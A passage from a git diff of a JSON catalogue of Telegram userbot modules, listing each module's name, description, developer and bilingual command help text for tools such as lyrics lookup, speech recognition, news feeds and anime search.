"👉 Dislike now playing track" + } + }, + { + "ylyrics": { + "ru_doc": "👉 Получить текст играющего сейчас трека", + "en_doc": null, + "doc": "👉 Get lyrics of the now playing track" + } + }, + { + "ysearch": { + "ru_doc": "<запрос> 👉 Поиск трека в Яндекс.Музыке", + "en_doc": null, + "doc": "<query> 👉 Search track in Yandex.Music" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "unneyon/hikka-mods/privacy.py": { + "name": "PrivacyMod", + "description": "Module for fastly changing privacy settings", + "meta": { + "pic": "https://raw.githubusercontent.com/kamekuro/hikka-mods/main/icons/privacy.png", + "banner": "https://raw.githubusercontent.com/kamekuro/hikka-mods/main/banners/privacy.png", + "developer": "@kamekuro_hmods" + }, + "commands": [ + { + "privacytypescmd": "👉 List of setting types to pass it in commands 👉 Список типов настроек для указания их в командах" + }, + { + "allowusercmd": "<user> [setting (optional)] 👉 Add user to includes for some setting <пользователь> [настройка (необязательно)] 👉 Добавить пользователя в разрешённых для какой-либо настройки" + }, + { + "disallowusercmd": "<user> [setting (optional)] 👉 Add user to excludes for some setting <пользователь> [настройка (необязательно)] 👉 Добавить пользователя в запрещённых для какой-либо настройки" + } + ], + "new_commands": [ + { + "privacytypes": { + "ru_doc": "👉 Список типов настроек для указания их в командах", + "en_doc": null, + "doc": "👉 List of setting types to pass it in commands" + } + }, + { + "allowuser": { + "ru_doc": "<пользователь> [настройка (необязательно)] 👉 Добавить пользователя в разрешённых для какой-либо настройки", + "en_doc": null, + "doc": "<user> [setting (optional)] 👉 Add user to includes for some setting" + } + }, + { + "disallowuser": { + "ru_doc": "<пользователь> [настройка (необязательно)] 👉 Добавить пользователя в запрещённых для какой-либо настройки", + "en_doc": null, + "doc": "<user> [setting (optional)] 👉 Add user to excludes for some setting" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "unneyon/hikka-mods/caliases.py": { + "name": "CustomAliasesMod", + "description": "Module for custom aliases", + "meta": { + "pic": "https://raw.githubusercontent.com/kamekuro/hikka-mods/main/icons/caliases.png", + "banner": "https://raw.githubusercontent.com/kamekuro/hikka-mods/main/banners/caliases.png", + "developer": "@kamekuro_hmods" + }, + "commands": [ + { + "caliasescmd": "👉 Get all aliases 👉 Получить список всех алиасов" + }, + { + "rmcaliascmd": "<name> 👉 Remove alias <имя> 👉 Удалить алиас" + }, + { + "caliascmd": "<name> <command> [args] 👉 Add new alias (may contain {args} keyword) <имя> <команда> [аргументы] 👉 Добавить новый алиас (может содержать ключевое слово {args})" + } + ], + "new_commands": [ + { + "caliases": { + "ru_doc": "👉 Получить список всех алиасов", + "en_doc": null, + "doc": "👉 Get all aliases" + } + }, + { + "rmcalias": { + "ru_doc": "<имя> 👉 Удалить алиас", + "en_doc": null, + "doc": "<name> 👉 Remove alias" + } + }, + { + "calias": { + "ru_doc": "<имя> <команда> [аргументы] 👉 Добавить новый алиас (может содержать ключевое слово {args})", + "en_doc": null, + "doc": "<name> <command> [args] 👉 Add new alias (may contain {args} keyword)" + } + } + ], + "category": [ + "Chat", + "Info" + ] + }, + "unneyon/hikka-mods/deleter.py": { + "name": "DeleterMod", + "description": "Module for delete your messages", + "meta": { + "pic": "https://raw.githubusercontent.com/kamekuro/hikka-mods/main/icons/deleter.png", + "banner": "https://raw.githubusercontent.com/kamekuro/hikka-mods/main/banners/deleter.png", + "developer": "@kamekuro_hmods" + }, + "commands": [ + { + "delmsgcmd": "[count] 👉 Delete messages (you can use your trigger from config: «{value}{count}» and write them only together!) [число] 👉 Удалить сообщения (можно использовать значение из конфига: «{значение}{число}», без пробела!)" + } + ], + "new_commands": [ + { + "delmsg": { + "ru_doc": "[число] 👉 Удалить сообщения (можно использовать значение из конфига: «{значение}{число}», без пробела!)", + "en_doc": null, + "doc": "[count] 👉 Delete messages (you can use your trigger from config: «{value}{count}» and write them only together!)" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "N3rcy/modules/whisper.py": { + "name": "WhisperMod", + "description": "Module for speech recognition", + "meta": { + "pic": null, + "banner": null, + "developer": "@nercymods" + }, + "commands": [ + { + "whisper": "Transcribe speech from a voice/video message in reply using openai api распознать речь из голосового/видео сообщения в реплае, используя openai api" + }, + { + "autowhspr": "Enable/disable auto-speech recognition for voice and video messages включить/выключить автораспознавание голосовых и видео сообщений в чате где введена команда" + }, + { + "hfwhisper": "Transcribe speech from a voice/video message in reply using hugging face api распознать речь из голосового/видео сообщения в реплае, используя hugging face api" + }, + { + "hfautowhspr": "Enable/disable auto-speech recognition using Hugging Face API включить/выключить автораспознавание через Hugging Face API в текущем чате" + }, + { + "hfguide": "гайд как получить hugging face токен guide how to get hugging face token" + } + ], + "new_commands": [ + { + "whisper": { + "ru_doc": "распознать речь из голосового/видео сообщения в реплае, используя openai api", + "en_doc": null, + "doc": "Transcribe speech from a voice/video message in reply using openai api" + } + }, + { + "autowhspr": { + "ru_doc": "включить/выключить автораспознавание голосовых и видео сообщений в чате где введена команда", + "en_doc": null, + "doc": "Enable/disable auto-speech recognition for voice and video messages" + } + }, + { + "hfwhisper": { + "ru_doc": "распознать речь из голосового/видео сообщения в реплае, используя hugging face api", + "en_doc": null, + "doc": "Transcribe speech from a voice/video message in reply using hugging face api" + } + }, + { + "hfautowhspr": { + "ru_doc": "включить/выключить автораспознавание через Hugging Face API в текущем чате", + "en_doc": null, + "doc": "Enable/disable auto-speech recognition using Hugging Face API" + } + }, + { + "hfguide": { + "ru_doc": "гайд как получить hugging face токен", + "en_doc": "guide how to get hugging face token", + "doc": null + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "N3rcy/modules/top.py": { + "name": "Top", + "description": "Module for viewing the top list in chat", + "meta": { + "pic": null, + "banner": null, + "developer": "@nercymods" + }, + "commands": [ + { + "top": "View top in the chat Посмотреть топ в чате" + } + ], + "new_commands": [ + { + "top": { + "ru_doc": "Посмотреть топ в чате", + "en_doc": null, + "doc": "View top in the chat" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "N3rcy/modules/progmusic.py": { + "name": "MusicModule", + "description": "Module for music for programming from https://musicforprogramming.net/", + "meta": { + "pic": null, + "banner": null, + "developer": "@nercymods" + }, + "commands": [ + { + "prmusic": "Send music for programming send random chill music" + } + ], + "new_commands": [ + { + "prmusic": { + "ru_doc": null, + "en_doc": "send random chill music", + "doc": "Send music for programming" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "N3rcy/modules/jikan.py": { + "name": "JikanModule", + "description": "Module for working with Jikan API", + "meta": { + "pic": null, + "banner": null, + "developer": "@nercymods" + }, + "commands": [ + { + "sanime": "Search for anime by title Поиск аниме по названию Search for anime by title" + }, + { + "smanga": "Search manga by title Поиск манги по названию Search manga by title" + }, + { + "scharacter": "Search character by name Поиск персонажа по имени Search character by name" + }, + { + "rсanime": "Get anime recommendations Получить рекомендации аниме Get anime recommendations" + }, + { + "rсmanga": "Get manga recommendations Получить рекомендации манги Get manga recommendations" + }, + { + "ranime": "Random anime Случайное аниме Random anime" + }, + { + "rmanga": "Random manga Случайная манга Random manga" + } + ], + "new_commands": [ + { + "sanime": { + "ru_doc": "Поиск аниме по названию", + "en_doc": "Search for anime by title", + "doc": "Search for anime by title" + } + }, + { + "smanga": { + "ru_doc": "Поиск манги по названию", + "en_doc": "Search manga by title", + "doc": "Search manga by title" + } + }, + { + "scharacter": { + "ru_doc": "Поиск персонажа по имени", + "en_doc": "Search character by name", + "doc": "Search character by name" + } + }, + { + "rсanime": { + "ru_doc": "Получить рекомендации аниме", + "en_doc": "Get anime recommendations", + "doc": "Get anime recommendations" + } + }, + { + "rсmanga": { + "ru_doc": "Получить рекомендации манги", + "en_doc": "Get manga recommendations", + "doc": "Get manga recommendations" + } + }, + { + "ranime": { + "ru_doc": "Случайное аниме", + "en_doc": "Random anime", + "doc": "Random anime" + } + }, + { + "rmanga": { + "ru_doc": "Случайная манга", + "en_doc": "Random manga", + "doc": "Random manga" + } + } + ], + "category": [ + "Tools", + "Games" + ] + }, + "N3rcy/modules/clown.py": { + "name": "ClownModule", + "description": "Модуль для клоунизации 'pov - <username>'", + "meta": { + "pic": null, + "banner": null, + "developer": "@nercymods" + }, + "commands": [ + { + "clown": "Добавляет текст поверх видео Сделать клавном <ник> или реплай" + } + ], + "new_commands": [ + { + "clown": { + "ru_doc": "Сделать клавном <ник> или реплай", + "en_doc": null, + "doc": "Добавляет текст поверх видео" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "N3rcy/modules/watch.py": { + "name": "WatcherModule", + "description": "Module for watching and responding to specific words", + "meta": { + "pic": null, + "banner": null, + "developer": "@nercymods" + }, + "commands": [ + { + "addwatch": "Add a word to be watched Добавить отслеживание слова" + }, + { + "rmwatch": "Remove a word from being watched Удалить отслеживание слова" + }, + { + "listwatches": "Show the list of watched words Показать список отслеживаемых слов" + } + ], + "new_commands": [ + { + "addwatch": { + "ru_doc": "Добавить отслеживание слова", + "en_doc": null, + "doc": "Add a word to be watched" + } + }, + { + "rmwatch": { + "ru_doc": "Удалить отслеживание слова", + "en_doc": null, + "doc": "Remove a word from being watched" + } + }, + { + "listwatches": { + "ru_doc": "Показать список отслеживаемых слов", + "en_doc": null, + "doc": "Show the list of watched words" + } + } + ], + "category": [ + "Chat", + "Customization" + ] + }, + "N3rcy/modules/twitch.py": { + "name": "TwitchModule", + "description": "Module for downloading Twitch clips and videos", + "meta": { + "pic": null, + "banner": null, + "developer": "@nercymods" + }, + "commands": [ + { + "twitch": "Download a clip from Twitch Скачать клип с Twitch" + }, + { + "twitchvideo": "Download a video from Twitch Скачать видео с Twitch" + } + ], + "new_commands": [ + { + "twitch": { + "ru_doc": "Скачать клип с Twitch", + "en_doc": null, + "doc": "Download a clip from Twitch" + } + }, + { + "twitchvideo": { + "ru_doc": "Скачать видео с Twitch", + "en_doc": null, + "doc": "Download a video from Twitch" + } + } + ], + "category": [ + "Media", + "Tools" + ] + }, + "N3rcy/modules/GameInfo.py": { + "name": "GameInfo", + "description": "Module for fetching game information from RAWG", + "meta": { + "pic": null, + "banner": null, + "developer": "@nercymods" + }, + "commands": [ + { + "gameinfo": "Fetch game information from RAWG Получить информацию об игре <название игры>" + } + ], + "new_commands": [ + { + "gameinfo": { + "ru_doc": "Получить информацию об игре <название игры>", + "en_doc": null, + "doc": "Fetch game information from RAWG" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "N3rcy/modules/ocr.py": { + "name": "OCRMod", + "description": "Module for Optical Character Recognition", + "meta": { + "pic": null, + "banner": null, + "developer": "@nercymods" + }, + "commands": [ + { + "ocr": "Recognize text from an image in reply Распознать текст на фото из реплая Recognize text from an image in reply" + } + ], + "new_commands": [ + { + "ocr": { + "ru_doc": "Распознать текст на фото из реплая", + "en_doc": "Recognize text from an image in reply", + "doc": "Recognize text from an image in reply" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "N3rcy/modules/emoji.py": { + "name": "EmojiInfo", + "description": "Module for retrieving information about emojis from emojipedia.org", + "meta": { + "pic": null, + "banner": null, + "developer": "@nercymods" + }, + "commands": [ + { + "emoji": "Retrieve information about an emoji Получить информацию об эмодзи" + } + ], + "new_commands": [ + { + "emoji": { + "ru_doc": "Получить информацию об эмодзи", + "en_doc": null, + "doc": "Retrieve information about an emoji" + } + } + ], + "category": [ + "Tools", + "Games" + ] + }, + "N3rcy/modules/news.py": { + "name": "NewsMod", + "description": "Module for displaying news from various sources", + "meta": { + "pic": null, + "banner": null, + "developer": "@nercymods" + }, + "commands": [ + { + "playground": "Get the latest news from Playground Получить последние новости с Playground" + }, + { + "bbc": "Get the latest news from BBC Получить последние новости с BBC" + }, + { + "cnn": "Get the latest news from CNN Получить последние новости с CNN" + }, + { + "guardian": "Get the latest news from The Guardian Получить последние новости с The Guardian" + }, + { + "lemonde": "Get the latest news from Le Monde Получить последние новости с Le Monde" + }, + { + "ria": "Get the latest news from RIA Получить последние новости с Риа новости" + }, + { + "rbc": "Get the latest news from rbc Получить последние новости с Рбк новости" + }, + { + "lenta": "Get the latest news from lenta Получить последние новости с Lenta" + } + ], + "new_commands": [ + { + "playground": { + "ru_doc": "Получить последние новости с Playground", + "en_doc": null, + "doc": "Get the latest news from Playground" + } + }, + { + "bbc": { + "ru_doc": "Получить последние новости с BBC", + "en_doc": null, + "doc": "Get the latest news from BBC" + } + }, + { + "cnn": { + "ru_doc": "Получить последние новости с CNN", + "en_doc": null, + "doc": "Get the latest news from CNN" + } + }, + { + "guardian": { + "ru_doc": "Получить последние новости с The Guardian", + "en_doc": null, + "doc": "Get the latest news from The Guardian" + } + }, + { + "lemonde": { + "ru_doc": "Получить последние новости с Le Monde", + "en_doc": null, + "doc": "Get the latest news from Le Monde" + } + }, + { + "ria": { + "ru_doc": "Получить последние новости с Риа новости", + "en_doc": null, + "doc": "Get the latest news from RIA" + } + }, + { + "rbc": { + "ru_doc": "Получить последние новости с Рбк новости", + "en_doc": null, + "doc": "Get the latest news from rbc" + } + }, + { + "lenta": { + "ru_doc": "Получить последние новости с Lenta", + "en_doc": null, + "doc": "Get the latest news from lenta" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "N3rcy/modules/github.py": { + "name": "GitHubMod", + "description": "Module for fetching GitHub profile or repository information", + "meta": { + "pic": null, + "banner": null, + "developer": "@nercymods" + }, + "commands": [ + { + "gitprof": "<profile / url> - Fetch information about GitHub profile <profile / url> - Fetch information about GitHub profile" + }, + { + "gitrepo": "Fetch information about GitHub repository Fetch information about GitHub repository" + } + ], + "new_commands": [ + { + "gitprof": { + "ru_doc": null, + "en_doc": "<profile / url> - Fetch information about GitHub profile", + "doc": "<profile / url> - Fetch information about GitHub profile" + } + }, + { + "gitrepo": { + "ru_doc": "Fetch information about GitHub repository", + "en_doc": null, + "doc": "Fetch information about GitHub repository" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "C0dwiz/H.Modules/Text2File.py": { + "name": "Text2File", + "description": "Module for convertation your text to file", + "meta": { + "pic": null, + "banner": null, + "developer": "@hikka_mods" + }, + "commands": [ + { + "ttfcmd": "Создать файл с вашим текстом или кодом Create a file with your text or code" + } + ], + "new_commands": [ + { + "ttf": { + "ru_doc": "Создать файл с вашим текстом или кодом", + "en_doc": "Create a file with your text or code", + "doc": null + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "C0dwiz/H.Modules/IrisSimpleMod.py": { + "name": "IrisSimpleMod", + "description": "Модуль для базового взаимодействия с Ирисом", + "meta": { + "pic": null, + "banner": null, + "developer": "@hikka_mods" + }, + "commands": [ + { + "bag": "Check bag Проверить мешок" + }, + { + "farm": "Farm iris-coins Зафармить ирис-коины" + }, + { + "irisstats": "Display user stats Вывести анкету" + }, + { + "irisping": "Display bot stats Вывести статистику ботов" + } + ], + "new_commands": [ + { + "bag": { + "ru_doc": "Проверить мешок", + "en_doc": null, + "doc": "Check bag" + } + }, + { + "farm": { + "ru_doc": "Зафармить ирис-коины", + "en_doc": null, + "doc": "Farm iris-coins" + } + }, + { + "irisstats": { + "ru_doc": "Вывести анкету", + "en_doc": null, + "doc": "Display user stats" + } + }, + { + "irisping": { + "ru_doc": "Вывести статистику ботов", + "en_doc": null, + "doc": "Display bot stats" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "C0dwiz/H.Modules/nsfwart.py": { + "name": "NSFWArtMod", + "description": "Sends cute anime nsfw-art", + "meta": { + "pic": null, + "banner": null, + "developer": "@hikka_mods" + }, + "commands": [ + { + "nsfwartcmd": "Отправьте симпатичный nsfw-арт Send cute nsfw-art" + } + ], + "new_commands": [ + { + "nsfwart": { + "ru_doc": "Отправьте симпатичный nsfw-арт", + "en_doc": "Send cute nsfw-art", + "doc": null + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "C0dwiz/H.Modules/CryptoCurrency.py": { + "name": "CryptoCurrencyMod", + "description": "Module for displaying current cryptocurrency exchange rates.", + "meta": { + "pic": null, + "banner": null, + "developer": "@hikka_mods" + }, + "commands": [ + { + "crypto": "Отображает текущий курс криптовалюты в рублях, долларах США и евро Displays the current cryptocurrency rate in RUB, USD, and EUR" + } + ], + "new_commands": [ + { + "crypto": { + "ru_doc": "Отображает текущий курс криптовалюты в рублях, долларах США и евро", + "en_doc": "Displays the current cryptocurrency rate in RUB, USD, and EUR", + "doc": null + } + } + ], + "category": [ + "Tools", + "Media" + ] + }, + "C0dwiz/H.Modules/AnimeQuotes.py": { + "name": "AnimeQuotesMod", + "description": "A module for sending random quotes from anime", + "meta": { + "pic": null, + "banner": null, + "developer": "@hikka_mods" + }, + "commands": [ + { + "quote": "Получить случайную цитату из аниме Get a random quote from the anime" + } + ], + "new_commands": [ + { + "quote": { + "ru_doc": "Получить случайную цитату из аниме", + "en_doc": "Get a random quote from the anime", + "doc": null + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "C0dwiz/H.Modules/HModsLibrary.py": { + "name": "HModsLib", + "description": "Library required for most H:Mods modules.", + "meta": { + "pic": null, + "banner": null, + "developer": "@hikka_mods" + }, + "commands": [], + "new_commands": [], + "category": [ + "Fun", + "Tools" + ] + }, + "C0dwiz/H.Modules/VoiceDL.py": { + "name": "VoiceDL", + "description": "Voice Downloader module", + "meta": { + "pic": null, + "banner": null, + "developer": "@hikka_mods" + }, + "commands": [ + { + "voicedl": " [reply] — загружает выбранное голосовое сообщение в виде файла mp3 и кидает его в чат. [reply] — downloads the selected voice message as an MP3 file and sends it in the chat." + } + ], + "new_commands": [ + { + "voicedl": { + "ru_doc": " [reply] — загружает выбранное голосовое сообщение в виде файла mp3 и кидает его в чат.", + "en_doc": " [reply] — downloads the selected voice message as an MP3 file and sends it in the chat.", + "doc": null + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "C0dwiz/H.Modules/FakeWallet.py": { + "name": "FakeWallet", + "description": "Fun joke - fake crypto wallet. You can change cryptocurrency values ​​using .cfg FakeWallet.", + "meta": { + "pic": null, + "banner": null, + "developer": "@hikka_mods" + }, + "commands": [ + { + "fwalletcmd": "Чтобы заполучить поддельный кошелек To get a fake wallet" + }, + { + "fwinfocmd": "Информация о FakeModule Info about FakeModule" + } + ], + "new_commands": [ + { + "fwallet": { + "ru_doc": "Чтобы заполучить поддельный кошелек", + "en_doc": "To get a fake wallet", + "doc": null + } + }, + { + "fwinfo": { + "ru_doc": "Информация о FakeModule", + "en_doc": "Info about FakeModule", + "doc": null + } + } + ], + "category": [ + "Tools", + "Admin" + ] + }, "C0dwiz/H.Modules/profile.py": { "name": "ProfileEditorMod", "description": "This module can change your Telegram profile.", @@ -9451,9 +30494,9 @@ "Chat" ] }, - "C0dwiz/H.Modules/Weather.py": { - "name": "Weather", - "description": "Advanced weather module with detailed information", + "C0dwiz/H.Modules/animals.py": { + "name": "animals", + "description": "Random cats and dogs", "meta": { "pic": null, "banner": null, @@ -9461,381 +30504,44 @@ }, "commands": [ { - "weather": "Узнайте погоду для указанного города Get the weather for the specified city" + "fcatcmd": "Файлы случайных фотографий кошек Random photos of cats files" }, { - "weatherset": "Установите город по умолчанию для определения погоды Set the default city for weather" + "fdogcmd": "Случайные фотографии собачьих файлов Random photos of dog files" + }, + { + "catcmd": "Случайные фотографии кошек Random photos of cats" + }, + { + "dogcmd": "Случайные фотографии собаки Random photos of dog" } ], "new_commands": [ { - "weather": { - "ru_doc": "Узнайте погоду для указанного города", - "en_doc": "Get the weather for the specified city", + "fcat": { + "ru_doc": "Файлы случайных фотографий кошек", + "en_doc": "Random photos of cats files", "doc": null } }, { - "weatherset": { - "ru_doc": "Установите город по умолчанию для определения погоды", - "en_doc": "Set the default city for weather", - "doc": null - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "C0dwiz/H.Modules/HAFK.py": { - "name": "HAFK", - "description": null, - "meta": { - "pic": null, - "banner": null, - "developer": "@hikka_mods" - }, - "commands": [ - { - "afk": "[reason / none] – Установить режим AFK [reason / none] – Set AFK mode globally" - }, - { - "afkhere": "[reason / none] – Установить режим AFK только в этом чате. [reason / none] – Set AFK mode in current chat only." - }, - { - "unafk": "Выйти из режима AFK Exit AFK mode" - }, - { - "unafkhere": "Выйти из режима AFK в этом чате Exit AFK mode in this chat" - } - ], - "new_commands": [ - { - "afk": { - "ru_doc": "[reason / none] – Установить режим AFK", - "en_doc": "[reason / none] – Set AFK mode globally", + "fdog": { + "ru_doc": "Случайные фотографии собачьих файлов", + "en_doc": "Random photos of dog files", "doc": null } }, { - "afkhere": { - "ru_doc": "[reason / none] – Установить режим AFK только в этом чате.", - "en_doc": "[reason / none] – Set AFK mode in current chat only.", + "cat": { + "ru_doc": "Случайные фотографии кошек", + "en_doc": "Random photos of cats", "doc": null } }, { - "unafk": { - "ru_doc": "Выйти из режима AFK", - "en_doc": "Exit AFK mode", - "doc": null - } - }, - { - "unafkhere": { - "ru_doc": "Выйти из режима AFK в этом чате", - "en_doc": "Exit AFK mode in this chat", - "doc": null - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "C0dwiz/H.Modules/KBSwapper.py": { - "name": "KBSwapperMod", - "description": "KBSwapper is a module for changing the keyboard layout", - "meta": { - "pic": null, - "banner": null, - "developer": "@hikka_mods" - }, - "commands": [ - { - "swap": "При ответе на своё сообщение меняет раскладку путем редактирования, на чужое — в отдельном сообщении. Change keyboard layout for the replied message." - } - ], - "new_commands": [ - { - "swap": { - "ru_doc": "При ответе на своё сообщение меняет раскладку путем редактирования, на чужое — в отдельном сообщении.", - "en_doc": "Change keyboard layout for the replied message.", - "doc": null - } - } - ], - "category": [ - "Tools", - "Security" - ] - }, - "C0dwiz/H.Modules/jacques.py": { - "name": "JacquesMod", - "description": "Жаконизатор", - "meta": { - "pic": null, - "banner": null, - "developer": "@hikka_mods" - }, - "commands": [ - { - "ionicmd": "<реплай на сообщение/свой текст> <reply to the message/your own text>" - } - ], - "new_commands": [ - { - "ioni": { - "ru_doc": "<реплай на сообщение/свой текст>", - "en_doc": "<reply to the message/your own text>", - "doc": null - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "C0dwiz/H.Modules/FakeWallet.py": { - "name": "FakeWallet", - "description": "Fun joke - fake crypto wallet. You can change cryptocurrency values ​​using .cfg FakeWallet.", - "meta": { - "pic": null, - "banner": null, - "developer": "@hikka_mods" - }, - "commands": [ - { - "fwalletcmd": "Чтобы заполучить поддельный кошелек To get a fake wallet" - }, - { - "fwinfocmd": "Информация о FakeModule Info about FakeModule" - } - ], - "new_commands": [ - { - "fwallet": { - "ru_doc": "Чтобы заполучить поддельный кошелек", - "en_doc": "To get a fake wallet", - "doc": null - } - }, - { - "fwinfo": { - "ru_doc": "Информация о FakeModule", - "en_doc": "Info about FakeModule", - "doc": null - } - } - ], - "category": [ - "Tools", - "Admin" - ] - }, - "C0dwiz/H.Modules/novoice.py": { - "name": "NoVoiceMod", - "description": "A module for prohibiting the sending of voice and video messages", - "meta": { - "pic": null, - "banner": null, - "developer": "@hikka_mods" - }, - "commands": [ - { - "novoice": "[on/off] — запрещает/разрешает всем пользователям отправку голосовых и видеосообщений. [on/off] — prohibits/allows all users to send voice and video messages." - }, - { - "novoiceuser": "[username/reply] — запрещает пользователю отправку голосовых и видеосообщений. [username/reply] — prohibits the user from sending voice and video messages." - }, - { - "novoicerm": "[username/reply] — разрешает пользователю отправку голосовых и видеосообщений. [username/reply] — allows the user to send voice and video messages." - } - ], - "new_commands": [ - { - "novoice": { - "ru_doc": "[on/off] — запрещает/разрешает всем пользователям отправку голосовых и видеосообщений.", - "en_doc": "[on/off] — prohibits/allows all users to send voice and video messages.", - "doc": null - } - }, - { - "novoiceuser": { - "ru_doc": "[username/reply] — запрещает пользователю отправку голосовых и видеосообщений.", - "en_doc": "[username/reply] — prohibits the user from sending voice and video messages.", - "doc": null - } - }, - { - "novoicerm": { - "ru_doc": "[username/reply] — разрешает пользователю отправку голосовых и видеосообщений.", - "en_doc": "[username/reply] — allows the user to send voice and video messages.", - "doc": null - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "C0dwiz/H.Modules/InlineHelper.py": { - "name": "InlineHelperMod", - "description": "Basic management of the UB in case only the inline works", - "meta": { - "pic": null, - "banner": null, - "developer": "@hikka_mods" - }, - "commands": [ - { - "terminal_inline_handler": "" - } - ], - "new_commands": [ - { - "terminal_inline_handler": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "C0dwiz/H.Modules/CheckSpamBan.py": { - "name": "SpamBanCheckMod", - "description": "Checks spam ban for your account.", - "meta": { - "pic": null, - "banner": null, - "developer": "@hikka_mods" - }, - "commands": [ - { - "spambot": "Проверяет вашу учетную запись на спам-бан с помощью бота @SpamBot Checks your account for spam ban via @SpamBot bot" - } - ], - "new_commands": [ - { - "spambot": { - "ru_doc": "Проверяет вашу учетную запись на спам-бан с помощью бота @SpamBot", - "en_doc": "Checks your account for spam ban via @SpamBot bot", - "doc": null - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "C0dwiz/H.Modules/ASCIIArt.py": { - "name": "ASCIIArtMod", - "description": "Converting images to ASCII art", - "meta": { - "pic": null, - "banner": null, - "developer": "@hikka_mods" - }, - "commands": [ - { - "cascii": "<реплай на изображение> сделать ascii art <replay on image> make ascii art" - } - ], - "new_commands": [ - { - "cascii": { - "ru_doc": "<реплай на изображение> сделать ascii art", - "en_doc": "<replay on image> make ascii art", - "doc": null - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "C0dwiz/H.Modules/SMAcrhiver.py": { - "name": "SMArchiver", - "description": "unloads all messages from Favorites", - "meta": { - "pic": null, - "banner": null, - "developer": "@hikka_mods" - }, - "commands": [ - { - "smdump": "выгружает все сообщения из Избранного / Saved Messages и собирает их в одном архиве. downloads all messages from Favorites / Saved Messages and collects them in one archive." - } - ], - "new_commands": [ - { - "smdump": { - "ru_doc": "выгружает все сообщения из Избранного / Saved Messages и собирает их в одном архиве.", - "en_doc": "downloads all messages from Favorites / Saved Messages and collects them in one archive.", - "doc": null - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "C0dwiz/H.Modules/Text2File.py": { - "name": "Text2File", - "description": "Module for convertation your text to file", - "meta": { - "pic": null, - "banner": null, - "developer": "@hikka_mods" - }, - "commands": [ - { - "ttfcmd": "Создать файл с вашим текстом или кодом Create a file with your text or code" - } - ], - "new_commands": [ - { - "ttf": { - "ru_doc": "Создать файл с вашим текстом или кодом", - "en_doc": "Create a file with your text or code", - "doc": null - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "C0dwiz/H.Modules/AccountData.py": { - "name": "AccountData", - "description": "Find out the approximate date of registration of the telegram account", - "meta": { - "pic": null, - "banner": null, - "developer": "@hikka_mods" - }, - "commands": [ - { - "accdata": "Узнать примерную дату регистрации аккаунта телеграмм Find out the approximate date of registration of the telegram account" - } - ], - "new_commands": [ - { - "accdata": { - "ru_doc": "Узнать примерную дату регистрации аккаунта телеграмм", - "en_doc": "Find out the approximate date of registration of the telegram account", + "dog": { + "ru_doc": "Случайные фотографии собаки", + "en_doc": "Random photos of dog", "doc": null } } @@ -9845,87 +30551,6 @@ "Fun" ] }, - "C0dwiz/H.Modules/Memes.py": { - "name": "MemesMod", - "description": "Random memes", - "meta": { - "pic": null, - "banner": null, - "developer": "@hikka_mods" - }, - "commands": [ - { - "memescmd": "" - } - ], - "new_commands": [ - { - "memes": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "C0dwiz/H.Modules/nsfwart.py": { - "name": "NSFWArtMod", - "description": "Sends cute anime nsfw-art", - "meta": { - "pic": null, - "banner": null, - "developer": "@hikka_mods" - }, - "commands": [ - { - "nsfwartcmd": "Отправьте симпатичный nsfw-арт Send cute nsfw-art" - } - ], - "new_commands": [ - { - "nsfwart": { - "ru_doc": "Отправьте симпатичный nsfw-арт", - "en_doc": "Send cute nsfw-art", - "doc": null - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "C0dwiz/H.Modules/PastebinAPI.py": { - "name": "PastebinAPIMod", - "description": "PastebinAPI", - "meta": { - "pic": null, - "banner": null, - "developer": "@hikka_mods" - }, - "commands": [ - { - "past": "Заливает код в Pastebin Uploads the code to Pastebin" - } - ], - "new_commands": [ - { - "past": { - "ru_doc": "Заливает код в Pastebin", - "en_doc": "Uploads the code to Pastebin", - "doc": null - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, "C0dwiz/H.Modules/FakeActions.py": { "name": "FakeActionsMod", "description": "Module for simulating various actions in chat", @@ -9993,9 +30618,9 @@ "Tools" ] }, - "C0dwiz/H.Modules/AnimeQuotes.py": { - "name": "AnimeQuotesMod", - "description": "A module for sending random quotes from anime", + "C0dwiz/H.Modules/AutofarmCookies.py": { + "name": "AutofarmCookiesMod", + "description": "Autofarm in the bot @cookies_game_bot", "meta": { "pic": null, "banner": null, @@ -10003,41 +30628,54 @@ }, "commands": [ { - "quote": "Получить случайную цитату из аниме Get a random quote from the anime" + "cookon": "Запустить автофарминг Launch auto-farming" + }, + { + "cookoff": "Остановить автофарминг Stop auto-farming" + }, + { + "cookies": "Вывод кол-ва коинов, добытых этим модулем Output of the number of coins mined by this module" + }, + { + "me": "Показывает ваш мешок Shows your bag" + }, + { + "ckies": "Помощь по модулю AutofarmCookies Help with the AutofarmCookies module" } ], "new_commands": [ { - "quote": { - "ru_doc": "Получить случайную цитату из аниме", - "en_doc": "Get a random quote from the anime", + "cookon": { + "ru_doc": "Запустить автофарминг", + "en_doc": "Launch auto-farming", "doc": null } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "C0dwiz/H.Modules/ReplaceVowels.py": { - "name": 